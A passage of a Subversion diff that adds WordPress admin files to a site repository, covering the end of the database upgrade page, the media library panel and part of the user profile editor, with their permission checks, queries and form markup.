+		$goback = esc_url_raw( $goback );
+		$goback = urlencode( $goback );
+?>
+<h2><?php _e( 'Database Upgrade Required' ); ?></h2>
+<p><?php _e( 'WordPress has been updated! Before we send you on your way, we have to upgrade your database to the newest version.' ); ?></p>
+<p><?php _e( 'The upgrade process may take a little while, so please be patient.' ); ?></p>
+<p class="step"><a class="button" href="upgrade.php?step=1&amp;backto=<?php echo $goback; ?>"><?php _e( 'Upgrade WordPress Database' ); ?></a></p>
+<?php
+		break;
+	case 1:
+		wp_upgrade();
+			
+			$backto = empty($_GET['backto']) ? '' : $_GET['backto'] ;
+			$backto = stripslashes( urldecode( $backto ) );
+			$backto = esc_url_raw( $backto  );
+			$backto = wp_validate_redirect($backto, __get_option( 'home' ) . '/');
+?>
+<h2><?php _e( 'Upgrade Complete' ); ?></h2>
+	<p><?php _e( 'Your WordPress database has been successfully upgraded!' ); ?></p>
+	<p class="step"><a class="button" href="<?php echo $backto; ?>"><?php _e( 'Continue' ); ?></a></p>
+
+<!--
+<pre>
+<?php printf( __( '%s queries' ), $wpdb->num_queries ); ?>
+
+<?php printf( __( '%s seconds' ), timer_stop( 0 ) ); ?>
+</pre>
+-->
+
+<?php
+		break;
+endswitch;
+endif;
+?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-admin/upload.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/upload.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/upload.php	(revision 44)
@@ -0,0 +1,417 @@
+<?php
+/**
+ * Media Library administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+wp_enqueue_script( 'wp-ajax-response' );
+wp_enqueue_script( 'jquery-ui-draggable' );
+
+if (!current_user_can('upload_files'))
+	wp_die(__('You do not have permission to upload files.'));
+
+if ( isset($_GET['find_detached'] ) ) {
+	check_admin_referer('bulk-media');
+
+	if ( ! current_user_can('edit_posts') )
+		wp_die( __('You are not allowed to scan for lost attachments.') );
+
+	$all_posts = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'post' OR post_type = 'page'");
+	$all_att = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'attachment'");
+
+	$lost = array();
+	foreach ( (array) $all_att as $att ) {
+		if ( $att->post_parent > 0 && ! in_array($att->post_parent, $all_posts) )
+			$lost[] = $att->ID;
+	}
+	$_GET['detached'] = 1;
+
+} elseif ( isset($_GET['found_post_id']) && isset($_GET['media']) ) {
+	check_admin_referer('bulk-media');
+
+	if ( ! ( $parent_id = (int) $_GET['found_post_id'] ) )
+		return;
+
+	$parent = &get_post($parent_id);
+	if ( !current_user_can('edit_post', $parent_id) )
+		wp_die( __('You are not allowed to edit this post.') );
+
+	$attach = array();
+	foreach( (array) $_GET['media'] as $att_id ) {
+		$att_id = (int) $att_id;
+
+		if ( !current_user_can('edit_post', $att_id) )
+			continue;
+
+		$attach[] = $att_id;
+	}
+
+	if ( ! empty($attach) ) {
+		$attach = implode(',', $attach);
+		$attached = $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ($attach)", $parent_id) );
+	}
+
+	if ( isset($attached) ) {
+		$location = 'upload.php';
+		if ( $referer = wp_get_referer() ) {
+			if ( false !== strpos($referer, 'upload.php') )
+				$location = $referer;
+		}
+
+		$location = add_query_arg( array( 'detached' => 1, 'attached' => $attached ) , $location );
+		wp_redirect($location);
+		exit;
+	}
+
+} elseif ( isset($_GET['action']) && isset($_GET['media']) && ( -1 != $_GET['action'] || -1 != $_GET['action2'] ) ) {
+	check_admin_referer('bulk-media');
+	$doaction = ( -1 != $_GET['action'] ) ? $_GET['action'] : $_GET['action2'];
+
+	if ( 'delete' == $doaction ) {
+		foreach( (array) $_GET['media'] as $post_id_del ) {
+			$post_del = & get_post($post_id_del);
+
+			if ( !current_user_can('delete_post', $post_id_del) )
+				wp_die( __('You are not allowed to delete this post.') );
+
+			if ( $post_del->post_type == 'attachment' )
+				if ( ! wp_delete_attachment($post_id_del) )
+					wp_die( __('Error in deleting...') );
+		}
+
+		$location = 'upload.php';
+		if ( $referer = wp_get_referer() ) {
+			if ( false !== strpos($referer, 'upload.php') )
+				$location = $referer;
+		}
+
+		$location = add_query_arg('message', 2, $location);
+		$location = remove_query_arg('posted', $location);
+		wp_redirect($location);
+		exit;
+	}
+} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+$title = __('Media Library');
+$parent_file = 'upload.php';
+
+if ( ! isset( $_GET['paged'] ) || $_GET['paged'] < 1 )
+	$_GET['paged'] = 1;
+
+if ( isset($_GET['detached']) ) {
+
+	if ( !empty($lost) ) {
+		$start = ( $_GET['paged'] - 1 ) * 50;
+		$page_links_total = ceil(count($lost) / 50);
+		$lost = implode(',', $lost);
+
+		$orphans = $wpdb->get_results( "SELECT * FROM $wpdb->posts WHERE post_type = 'attachment' AND ID IN ($lost) LIMIT $start, 50" );
+	} else {
+		$start = ( $_GET['paged'] - 1 ) * 25;
+		$orphans = $wpdb->get_results( "SELECT SQL_CALC_FOUND_ROWS * FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent < 1 LIMIT $start, 25" );
+		$page_links_total = ceil($wpdb->get_var( "SELECT FOUND_ROWS()" ) / 25);
+	}
+
+	$post_mime_types = array(
+				'image' => array(__('Images'), __('Manage Images'), _n_noop('Image (%s)', 'Images (%s)')),
+				'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio (%s)', 'Audio (%s)')),
+				'video' => array(__('Video'), __('Manage Video'), _n_noop('Video (%s)', 'Video (%s)')),
+			);
+	$post_mime_types = apply_filters('post_mime_types', $post_mime_types);
+
+	$avail_post_mime_types = get_available_post_mime_types('attachment');
+
+	if ( isset($_GET['post_mime_type']) && !array_intersect( (array) $_GET['post_mime_type'], array_keys($post_mime_types) ) )
+		unset($_GET['post_mime_type']);
+
+} else {
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
+}
+
+wp_enqueue_script('media');
+require_once('admin-header.php'); ?>
+
+<?php
+if ( isset($_GET['posted']) && (int) $_GET['posted'] ) {
+	$_GET['message'] = '1';
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('posted'), $_SERVER['REQUEST_URI']);
+}
+
+if ( isset($_GET['attached']) && (int) $_GET['attached'] ) {
+	$attached = (int) $_GET['attached'];
+	$message = sprintf( _n('Reattached %d attachment', 'Reattached %d attachments', $attached), $attached );
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('attached'), $_SERVER['REQUEST_URI']);
+}
+
+$messages[1] = __('Media attachment updated.');
+$messages[2] = __('Media deleted.');
+$messages[3] = __('Error saving media attachment.');
+
+if ( isset($_GET['message']) && (int) $_GET['message'] ) {
+	$message = $messages[$_GET['message']];
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+}
+?>
+
+<?php do_action('restrict_manage_posts'); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( get_search_query() ) ); ?>
+</h2>
+
+<?php
+if ( isset($message) ) { ?>
+<div id="message" class="updated fade"><p><?php echo $message; ?></p></div>
+<?php
+}
+?>
+
+<ul class="subsubsub">
+<?php
+$type_links = array();
+$_num_posts = (array) wp_count_attachments();
+$_total_posts = array_sum( $_num_posts );
+$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
+foreach ( $matches as $type => $reals )
+	foreach ( $reals as $real )
+		$num_posts[$type] = ( isset( $num_posts[$type] ) ) ? $num_posts[$type] + $_num_posts[$real] : $_num_posts[$real];
+
+$class = empty($_GET['post_mime_type']) && ! isset($_GET['detached']) ? ' class="current"' : '';
+$type_links[] = "<li><a href='upload.php'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $_total_posts, 'uploaded files' ), number_format_i18n( $_total_posts ) ) . '</a>';
+foreach ( $post_mime_types as $mime_type => $label ) {
+	$class = '';
+
+	if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) )
+		continue;
+
+	if ( !empty($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) )
+		$class = ' class="current"';
+
+	$type_links[] = "<li><a href='upload.php?post_mime_type=$mime_type'$class>" . sprintf( _n( $label[2][0], $label[2][1], $num_posts[$mime_type] ), number_format_i18n( $num_posts[$mime_type] )) . '</a>';
+}
+$class = isset($_GET['detached']) ? ' class="current"' : '';
+$type_links[] = '<li><a href="upload.php?detached=1"' . $class . '>' . __('Unattached') . '</a>';
+
+echo implode( " |</li>\n", $type_links) . '</li>';
+unset($type_links);
+?>
+</ul>
+
+<form class="search-form" action="" method="get">
+<p class="search-box">
+	<label class="screen-reader-text" for="media-search-input"><?php _e( 'Search Media' ); ?>:</label>
+	<input type="text" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Media' ); ?>" class="button" />
+</p>
+</form>
+
+<form id="posts-filter" action="" method="get">
+<div class="tablenav">
+<?php
+if ( ! isset($page_links_total) )
+	$page_links_total =  $wp_query->max_num_pages;
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'paged', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => $page_links_total,
+	'current' => $_GET['paged']
+));
+
+if ( $page_links ) : ?>
+<div class="tablenav-pages"><?php $page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+	number_format_i18n( ( $_GET['paged'] - 1 ) * $wp_query->query_vars['posts_per_page'] + 1 ),
+	number_format_i18n( min( $_GET['paged'] * $wp_query->query_vars['posts_per_page'], $wp_query->found_posts ) ),
+	number_format_i18n( $wp_query->found_posts ),
+	$page_links
+); echo $page_links_text; ?></div>
+<?php endif; ?>
+
+<div class="alignleft actions">
+<select name="action" class="select-action">
+<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+<?php if ( isset($orphans) ) { ?>
+<option value="attach"><?php _e('Attach to a post'); ?></option>
+<?php } ?>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<?php wp_nonce_field('bulk-media'); ?>
+
+<?php
+if ( ! is_singular() && ! isset($_GET['detached']) ) {
+	$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";
+
+	$arc_result = $wpdb->get_results( $arc_query );
+
+	$month_count = count($arc_result);
+
+	if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) : ?>
+<select name='m'>
+<option<?php selected( @$_GET['m'], 0 ); ?> value='0'><?php _e('Show all dates'); ?></option>
+<?php
+foreach ($arc_result as $arc_row) {
+	if ( $arc_row->yyear == 0 )
+		continue;
+	$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+
+	if ( $arc_row->yyear . $arc_row->mmonth == $_GET['m'] )
+		$default = ' selected="selected"';
+	else
+		$default = '';
+
+	echo "<option$default value='" . esc_attr("$arc_row->yyear$arc_row->mmonth") . "'>";
+	echo $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear";
+	echo "</option>\n";
+}
+?>
+</select>
+<?php endif; // month_count ?>
+
+<input type="submit" id="post-query-submit" value="<?php esc_attr_e('Filter'); ?>" class="button-secondary" />
+
+<?php } // ! is_singular ?>
+
+<?php if ( isset($_GET['detached']) ) { ?>
+	<input type="submit" id="find_detached" name="find_detached" value="<?php esc_attr_e('Scan for lost attachments'); ?>" class="button-secondary" />
+<?php } ?>
+
+</div>
+
+<br class="clear" />
+</div>
+
+<div class="clear"></div>
+
+<?php if ( isset($orphans) ) { ?>
+<table class="widefat" cellspacing="0">
+<thead>
+<tr>
+	<th scope="col" class="check-column"><input type="checkbox" /></th>
+	<th scope="col"></th>
+	<th scope="col"><?php /* translators: column name in media */ echo _x('Media', 'media column name'); ?></th>
+	<th scope="col"><?php /* translators: column name in media */ echo _x('Author', 'media column name'); ?></th>
+	<th scope="col"><?php /* translators: column name in media */ echo _x('Date Added', 'media column name'); ?></th>
+</tr>
+</thead>
+
+<tfoot>
+<tr>
+	<th scope="col" class="check-column"><input type="checkbox" /></th>
+	<th scope="col"></th>
+	<th scope="col"><?php /* translators: column name in media */ echo _x('Media', 'media column name'); ?></th>
+	<th scope="col"><?php /* translators: column name in media */ echo _x('Author', 'media column name'); ?></th>
+	<th scope="col"><?php /* translators: column name in media */ echo _x('Date Added', 'media column name'); ?></th>
+</tr>
+</tfoot>
+
+<tbody id="the-list" class="list:post">
+<?php
+	if ( $orphans ) {
+		foreach ( $orphans as $post ) {
+			$class = 'alternate' == $class ? '' : 'alternate';
+			$att_title = esc_html( _draft_or_post_title($post->ID) );
+?>
+	<tr id='post-<?php echo $post->ID; ?>' class='<?php echo $class; ?>' valign="top">
+		<th scope="row" class="check-column"><input type="checkbox" name="media[]" value="<?php echo esc_attr($post->ID); ?>" /></th>
+
+		<td class="media-icon"><?php
+		if ( $thumb = wp_get_attachment_image( $post->ID, array(80, 60), true ) ) { ?>
+			<a href="media.php?action=edit&amp;attachment_id=<?php echo $post->ID; ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $att_title)); ?>"><?php echo $thumb; ?></a>
+<?php	} ?></td>
+
+		<td class="media column-media"><strong><a href="<?php echo get_edit_post_link( $post->ID ); ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $att_title)); ?>"><?php echo $att_title; ?></a></strong><br />
+		<?php echo strtoupper(preg_replace('/^.*?\.(\w+)$/', '$1', get_attached_file($post->ID))); ?>
+
+		<div class="row-actions">
+		<?php
+		$actions = array();
+		if ( current_user_can('edit_post', $post->ID) )
+			$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '">' . __('Edit') . '</a>';
+		if ( current_user_can('delete_post', $post->ID) )
+			$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url("post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this attachment '%s'\n  'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this attachment '%s'\n  'Cancel' to stop, 'OK' to delete."), $post->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
+		$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
+		if ( current_user_can('edit_post', $post->ID) )
+			$actions['attach'] = '<a href="#the-list" onclick="findPosts.open(\'media[]\',\''.$post->ID.'\');return false;">'.__('Attach').'</a>';
+		$actions = apply_filters( 'media_row_actions', $actions, $post );
+		$action_count = count($actions);
+		$i = 0;
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			echo "<span class='$action'>$link$sep</span>";
+		} ?>
+		</div></td>
+		<td class="author column-author"><?php $author = get_userdata($post->post_author); echo $author->display_name; ?></td>
+<?php	if ( '0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name ) {
+			$t_time = $h_time = __('Unpublished');
+		} else {
+			$t_time = get_the_time(__('Y/m/d g:i:s A'));
+			$m_time = $post->post_date;
+			$time = get_post_time( 'G', true );
+			if ( ( abs($t_diff = time() - $time) ) < 86400 ) {
+				if ( $t_diff < 0 )
+					$h_time = sprintf( __('%s from now'), human_time_diff( $time ) );
+				else
+					$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
+			} else {
+				$h_time = mysql2date(__('Y/m/d'), $m_time);
+			}
+		} ?>
+		<td class="date column-date"><?php echo $h_time ?></td>
+	</tr>
+<?php	}
+
+	} else { ?>
+	<tr><td colspan="5"><?php _e('No media attachments found.') ?></td></tr>
+<?php } ?>
+</tbody>
+</table>
+
+<?php find_posts_div();
+
+} else {
+	include( 'edit-attachment-rows.php' );
+} ?>
+
+<div id="ajax-response"></div>
+
+<div class="tablenav">
+
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links_text</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2" class="select-action">
+<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+<?php if ( isset($orphans) ) { ?>
+<option value="attach"><?php _e('Attach to a post'); ?></option>
+<?php } ?>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+</div>
+
+<br class="clear" />
+</div>
+</form>
+<br class="clear" />
+
+</div>
+
+<?php
+include('admin-footer.php');
Index: /trunk/www.guidonia.net/wp/wp-admin/user-edit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/user-edit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/user-edit.php	(revision 44)
@@ -0,0 +1,349 @@
+<?php
+/**
+ * Edit user administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+if ( !defined('IS_PROFILE_PAGE') )
+	define('IS_PROFILE_PAGE', false);
+
+wp_enqueue_script('user-profile');
+wp_enqueue_script('password-strength-meter');
+
+$title = IS_PROFILE_PAGE ? __('Profile') : __('Edit User');
+if ( current_user_can('edit_users') && !IS_PROFILE_PAGE )
+	$submenu_file = 'users.php';
+else
+	$submenu_file = 'profile.php';
+$parent_file = 'users.php';
+
+wp_reset_vars(array('action', 'redirect', 'profile', 'user_id', 'wp_http_referer'));
+
+$wp_http_referer = remove_query_arg(array('update', 'delete_count'), stripslashes($wp_http_referer));
+
+$user_id = (int) $user_id;
+
+if ( !$user_id ) {
+	if ( IS_PROFILE_PAGE ) {
+		$current_user = wp_get_current_user();
+		$user_id = $current_user->ID;
+	} else {
+		wp_die(__('Invalid user ID.'));
+	}
+} elseif ( !get_userdata($user_id) ) {
+	wp_die( __('Invalid user ID.') );
+}
+
+$all_post_caps = array('posts', 'pages');
+$user_can_edit = false;
+foreach ( $all_post_caps as $post_cap )
+	$user_can_edit |= current_user_can("edit_$post_cap");
+
+/**
+ * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
+ *
+ * @since 2.7.0
+ *
+ * @param object $user User data object
+ */
+function use_ssl_preference($user) {
+?>
+	<tr>
+		<th scope="row"><?php _e('Use https')?></th>
+		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked('1', $user->use_ssl); ?> /> <?php _e('Always use https when visiting the admin'); ?></label></td>
+	</tr>
+<?php
+}
+
+switch ($action) {
+case 'switchposts':
+
+check_admin_referer();
+
+/* TODO: Switch all posts from one user to another user */
+
+break;
+
+case 'update':
+
+check_admin_referer('update-user_' . $user_id);
+
+if ( !current_user_can('edit_user', $user_id) )
+	wp_die(__('You do not have permission to edit this user.'));
+
+if ( IS_PROFILE_PAGE )
+	do_action('personal_options_update', $user_id);
+else
+	do_action('edit_user_profile_update', $user_id);
+
+$errors = edit_user($user_id);
+
+if ( !is_wp_error( $errors ) ) {
+	$redirect = (IS_PROFILE_PAGE ? "profile.php?" : "user-edit.php?user_id=$user_id&"). "updated=true";
+	$redirect = add_query_arg('wp_http_referer', urlencode($wp_http_referer), $redirect);
+	wp_redirect($redirect);
+	exit;
+}
+
+default:
+$profileuser = get_user_to_edit($user_id);
+
+if ( !current_user_can('edit_user', $user_id) )
+	wp_die(__('You do not have permission to edit this user.'));
+
+include ('admin-header.php');
+?>
+
+<?php if ( isset($_GET['updated']) ) : ?>
+<div id="message" class="updated fade">
+	<p><strong><?php _e('User updated.') ?></strong></p>
+	<?php if ( $wp_http_referer && !IS_PROFILE_PAGE ) : ?>
+	<p><a href="users.php"><?php _e('&larr; Back to Authors and Users'); ?></a></p>
+	<?php endif; ?>
+</div>
+<?php endif; ?>
+<?php if ( isset( $errors ) && is_wp_error( $errors ) ) : ?>
+<div class="error">
+	<ul>
+	<?php
+	foreach( $errors->get_error_messages() as $message )
+		echo "<li>$message</li>";
+	?>
+	</ul>
+</div>
+<?php endif; ?>
+
+<div class="wrap" id="profile-page">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form id="your-profile" action="" method="post">
+<?php wp_nonce_field('update-user_' . $user_id) ?>
+<?php if ( $wp_http_referer ) : ?>
+	<input type="hidden" name="wp_http_referer" value="<?php echo esc_url($wp_http_referer); ?>" />
+<?php endif; ?>
+<p>
+<input type="hidden" name="from" value="profile" />
+<input type="hidden" name="checkuser_id" value="<?php echo $user_ID ?>" />
+</p>
+
+<h3><?php _e('Personal Options'); ?></h3>
+
+<table class="form-table">
+<?php if ( rich_edit_exists() && !( IS_PROFILE_PAGE && !$user_can_edit ) ) : // don't bother showing the option if the editor has been removed ?>
+	<tr>
+		<th scope="row"><?php _e('Visual Editor')?></th>
+		<td><label for="rich_editing"><input name="rich_editing" type="checkbox" id="rich_editing" value="false" <?php checked('false', $profileuser->rich_editing); ?> /> <?php _e('Disable the visual editor when writing'); ?></label></td>
+	</tr>
+<?php endif; ?>
+<?php if (count($_wp_admin_css_colors) > 1 ) : ?>
+<tr>
+<th scope="row"><?php _e('Admin Color Scheme')?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Admin Color Scheme')?></span></legend>
+<?php
+$current_color = get_user_option('admin_color', $user_id);
+if ( empty($current_color) )
+	$current_color = 'fresh';
+foreach ( $_wp_admin_css_colors as $color => $color_info ): ?>
+<div class="color-option"><input name="admin_color" id="admin_color_<?php echo $color; ?>" type="radio" value="<?php echo esc_attr($color) ?>" class="tog" <?php checked($color, $current_color); ?> />
+	<table class="color-palette">
+	<tr>
+	<?php foreach ( $color_info->colors as $html_color ): ?>
+	<td style="background-color: <?php echo $html_color ?>" title="<?php echo $color ?>">&nbsp;</td>
+	<?php endforeach; ?>
+	</tr>
+	</table>
+
+	<label for="admin_color_<?php echo $color; ?>"><?php echo $color_info->name ?></label>
+</div>
+	<?php endforeach; ?>
+</fieldset></td>
+</tr>
+<?php if ( !( IS_PROFILE_PAGE && !$user_can_edit ) ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Keyboard Shortcuts' ); ?></th>
+<td><label for="comment_shortcuts"><input type="checkbox" name="comment_shortcuts" id="comment_shortcuts" value="true" <?php if ( !empty($profileuser->comment_shortcuts) ) checked('true', $profileuser->comment_shortcuts); ?> /> <?php _e('Enable keyboard shortcuts for comment moderation.'); ?></label> <?php _e('<a href="http://codex.wordpress.org/Keyboard_Shortcuts">More information</a>'); ?></td>
+</tr>
+<?php
+endif;
+endif;
+do_action('personal_options', $profileuser);
+?>
+</table>
+<?php
+	if ( IS_PROFILE_PAGE )
+		do_action('profile_personal_options', $profileuser);
+?>
+
+<h3><?php _e('Name') ?></h3>
+
+<table class="form-table">
+	<tr>
+		<th><label for="user_login"><?php _e('Username'); ?></label></th>
+		<td><input type="text" name="user_login" id="user_login" value="<?php echo esc_attr($profileuser->user_login); ?>" disabled="disabled" class="regular-text" /> <span class="description"><?php _e('Your username cannot be changed.'); ?></span></td>
+	</tr>
+
+<?php if ( !IS_PROFILE_PAGE ): ?>
+<tr><th><label for="role"><?php _e('Role:') ?></label></th>
+<td><select name="role" id="role">
+<?php
+// Get the highest/primary role for this user
+// TODO: create a function that does this: wp_get_user_role()
+$user_roles = $profileuser->roles;
+$user_role = array_shift($user_roles);
+
+// print the full list of roles with the primary one selected.
+wp_dropdown_roles($user_role);
+
+// print the 'no role' option. Make it selected if the user has no role yet.
+if ( $user_role )
+	echo '<option value="">' . __('&mdash; No role for this blog &mdash;') . '</option>';
+else
+	echo '<option value="" selected="selected">' . __('&mdash; No role for this blog &mdash;') . '</option>';
+?>
+</select></td></tr>
+<?php endif; //!IS_PROFILE_PAGE ?>
+
+<tr>
+	<th><label for="first_name"><?php _e('First name') ?></label></th>
+	<td><input type="text" name="first_name" id="first_name" value="<?php echo esc_attr($profileuser->first_name) ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+	<th><label for="last_name"><?php _e('Last name') ?></label></th>
+	<td><input type="text" name="last_name" id="last_name" value="<?php echo esc_attr($profileuser->last_name) ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+	<th><label for="nickname"><?php _e('Nickname'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+	<td><input type="text" name="nickname" id="nickname" value="<?php echo esc_attr($profileuser->nickname) ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+	<th><label for="display_name"><?php _e('Display name publicly as') ?></label></th>
+	<td>
+		<select name="display_name" id="display_name">
+		<?php
+			$public_display = array();
+			$public_display['display_nickname']  = $profileuser->nickname;
+			$public_display['display_username']  = $profileuser->user_login;
+			if ( !empty($profileuser->first_name) )
+				$public_display['display_firstname'] = $profileuser->first_name;
+			if ( !empty($profileuser->last_name) )
+				$public_display['display_lastname'] = $profileuser->last_name;
+			if ( !empty($profileuser->first_name) && !empty($profileuser->last_name) ) {
+				$public_display['display_firstlast'] = $profileuser->first_name . ' ' . $profileuser->last_name;
+				$public_display['display_lastfirst'] = $profileuser->last_name . ' ' . $profileuser->first_name;
+			}
+			if ( !in_array( $profileuser->display_name, $public_display ) )// Only add this if it isn't duplicated elsewhere
+				$public_display = array( 'display_displayname' => $profileuser->display_name ) + $public_display;
+			$public_display = array_map( 'trim', $public_display );
+			foreach ( $public_display as $id => $item ) {
+		?>
+			<option id="<?php echo $id; ?>" value="<?php echo esc_attr($item); ?>"<?php selected( $profileuser->display_name, $item ); ?>><?php echo $item; ?></option>
+		<?php
+			}
+		?>
+		</select>
+	</td>
+</tr>
+</table>
+
+<h3><?php _e('Contact Info') ?></h3>
+
+<table class="form-table">
+<tr>
+	<th><label for="email"><?php _e('E-mail'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+	<td><input type="text" name="email" id="email" value="<?php echo esc_attr($profileuser->user_email) ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+	<th><label for="url"><?php _e('Website') ?></label></th>
+	<td><input type="text" name="url" id="url" value="<?php echo esc_attr($profileuser->user_url) ?>" class="regular-text code" /></td>
+</tr>
+
+<tr>
+	<th><label for="aim"><?php echo apply_filters('user_aim_label', __('AIM')); ?></label></th>
+	<td><input type="text" name="aim" id="aim" value="<?php echo esc_attr($profileuser->aim) ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+	<th><label for="yim"><?php echo apply_filters('user_yim_label', __('Yahoo IM')); ?></label></th>
+	<td><input type="text" name="yim" id="yim" value="<?php echo esc_attr($profileuser->yim) ?>" class="regular-text" /></td>
+</tr>
+
+<tr>
+	<th><label for="jabber"><?php echo apply_filters('user_jabber_label', __('Jabber / Google Talk')); ?></label></th>
+	<td><input type="text" name="jabber" id="jabber" value="<?php echo esc_attr($profileuser->jabber) ?>" class="regular-text" /></td>
+</tr>
+</table>
+
+<h3><?php IS_PROFILE_PAGE ? _e('About Yourself') : _e('About the user'); ?></h3>
+
+<table class="form-table">
+<tr>
+	<th><label for="description"><?php _e('Biographical Info'); ?></label></th>
+	<td><textarea name="description" id="description" rows="5" cols="30"><?php echo $profileuser->description ?></textarea><br />
+	<span class="description"><?php _e('Share a little biographical information to fill out your profile. This may be shown publicly.'); ?></span></td>
+</tr>
+
+<?php
+$show_password_fields = apply_filters('show_password_fields', true, $profileuser);
+if ( $show_password_fields ) :
+?>
+<tr id="password">
+	<th><label for="pass1"><?php _e('New Password'); ?></label></th>
+	<td><input type="password" name="pass1" id="pass1" size="16" value="" autocomplete="off" /> <span class="description"><?php _e("If you would like to change the password type a new one. Otherwise leave this blank."); ?></span><br />
+		<input type="password" name="pass2" id="pass2" size="16" value="" autocomplete="off" /> <span class="description"><?php _e("Type your new password again."); ?></span><br />
+		<div id="pass-strength-result"><?php _e('Strength indicator'); ?></div>
+		<p class="description indicator-hint"><?php _e('Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? $ % ^ &amp; ).'); ?></p>
+	</td>
+</tr>
+<?php endif; ?>
+</table>
+
+<?php
+	if ( IS_PROFILE_PAGE ) {
+		do_action('show_user_profile', $profileuser);
+	} else {
+		do_action('edit_user_profile', $profileuser);
+	}
+?>
+
+<?php if (count($profileuser->caps) > count($profileuser->roles) && apply_filters('additional_capabilities_display', true, $profileuser)): ?>
+<br class="clear" />
+	<table width="99%" style="border: none;" cellspacing="2" cellpadding="3" class="editform">
+		<tr>
+			<th scope="row"><?php _e('Additional Capabilities') ?></th>
+			<td><?php
+			$output = '';
+			foreach($profileuser->caps as $cap => $value) {
+				if(!$wp_roles->is_role($cap)) {
+					if($output != '') $output .= ', ';
+					$output .= $value ? $cap : "Denied: {$cap}";
+				}
+			}
+			echo $output;
+			?></td>
+		</tr>
+	</table>
+<?php endif; ?>
+
+<p class="submit">
+	<input type="hidden" name="action" value="update" />
+	<input type="hidden" name="user_id" id="user_id" value="<?php echo esc_attr($user_id); ?>" />
